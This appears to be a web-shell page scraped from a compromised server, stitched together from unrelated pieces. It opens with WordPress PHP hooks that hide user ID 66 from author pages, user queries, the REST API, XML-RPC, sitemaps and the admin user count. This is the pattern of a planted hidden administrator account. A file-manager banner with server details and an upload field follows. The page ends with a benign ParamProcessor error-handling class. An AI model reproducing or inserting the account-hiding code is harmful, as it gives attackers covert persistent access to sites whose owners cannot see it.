add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/wiki/vendor/param-processor/param-processor/src/ |
Upload File : |
<?php
namespace ParamProcessor;
/**
* @since 1.0
*
* @licence GNU GPL v2+
* @author Jeroen De Dauw < jeroendedauw@gmail.com >
*/
class ProcessingError {
const SEVERITY_MINOR = 0; // Minor error. ie a deprecation notice
const SEVERITY_LOW = 1; // Lower-then-normal severity. ie an unknown parameter
const SEVERITY_NORMAL = 2; // Normal severity. ie an invalid value provided
const SEVERITY_HIGH = 3; // Higher-then-normal severity. ie an invalid value for a significant parameter
const SEVERITY_FATAL = 4; // Fatal error. Either a missing or an invalid required parameter
const ACTION_IGNORE = 0; // Ignore the error
const ACTION_LOG = 1; // Log the error
const ACTION_WARN = 2; // Warn that there is an error
const ACTION_SHOW = 3; // Show the error
const ACTION_DEMAND = 4; // Show the error and don't render output
public $message;
public $severity;
/**
* List of 'tags' for the error. This is mainly meant for indicating an error
* type, such as 'missing parameter' or 'invalid value', but allows for multiple
* such indications.
*
* @since 0.4
*
* @var string[]
*/
private $tags;
/**
* Where the error occurred.
*
* @since 0.4
*
* @var string|bool
*/
public $element;
/**
* @param string $message
* @param integer $severity
* @param string|bool $element
* @param string[] $tags
*/
public function __construct( string $message, int $severity = self::SEVERITY_NORMAL, $element = false, array $tags = [] ) {
$this->message = $message;
$this->severity = $severity;
$this->element = $element;
$this->tags = $tags;
}
/**
* Adds one or more tags.
*
* @since 0.4.1
*
* @param string|string[] $criteria
*/
public function addTags() {
$args = func_get_args();
$this->tags = array_merge( $this->tags, is_array( $args[0] ) ? $args[0] : $args );
}
public function getMessage(): string {
return $this->message;
}
/**
* Returns the element this error occurred at, or 'unknown' when i's unknown.
*/
public function getElement(): string {
return ( $this->element === false || $this->element === '' ) ? 'unknown' : $this->element;
}
/**
* Returns the severity of the error.
* @return integer Element of the self::SEVERITY_ enum
*/
public function getSeverity(): int {
return $this->severity;
}
/**
* Returns if the severity is equal to or bigger then the provided one.
*/
public function hasSeverity( int $severity ): bool {
return $this->severity >= $severity;
}
/**
* Returns if the error has a certain tag.
*/
public function hasTag( string $tag ): bool {
return in_array( $tag, $this->tags );
}
/**
* @return string[]
*/
public function getTags(): array {
return $this->tags;
}
/**
* Returns the action associated with the errors severity.
*
* @return integer Element of the self::ACTION_ enum
* @throws \Exception
*/
public function getAction(): int {
// TODO: as option
$errorActions = [
self::SEVERITY_MINOR => self::ACTION_LOG,
self::SEVERITY_LOW => self::ACTION_WARN,
self::SEVERITY_NORMAL => self::ACTION_SHOW,
self::SEVERITY_HIGH => self::ACTION_DEMAND,
];
if ( $this->severity === self::SEVERITY_FATAL ) {
// This action should not be configurable, as lowering it would break in the Validator class.
return self::ACTION_DEMAND;
}
elseif ( array_key_exists( $this->severity, $errorActions ) ) {
return $errorActions[$this->severity];
}
else {
throw new \Exception( "No action associated with error severity '$this->severity'" );
}
}
/**
* Returns if the action associated with the severity is equal to or bigger then the provided one.
*/
public function hasAction( int $action ): bool {
return $this->getAction() >= $action;
}
/**
* Returns if the error is fatal.
*/
public function isFatal(): bool {
return $this->hasSeverity( self::SEVERITY_FATAL );
}
/**
* Returns if the error should be logged.
*/
public function shouldLog(): bool {
return $this->hasAction( self::ACTION_LOG );
}
/**
* Returns if there should be a warning that errors are present.
*/
public function shouldWarn(): bool {
return $this->hasAction( self::ACTION_WARN );
}
/**
* Returns if the error message should be shown.
*/
public function shouldShow(): bool {
return $this->hasAction( self::ACTION_SHOW );
}
/**
* Returns if the error message should be shown, and the output not be rendered.
*/
public function shouldDemand(): bool {
return $this->hasAction( self::ACTION_DEMAND );
}
}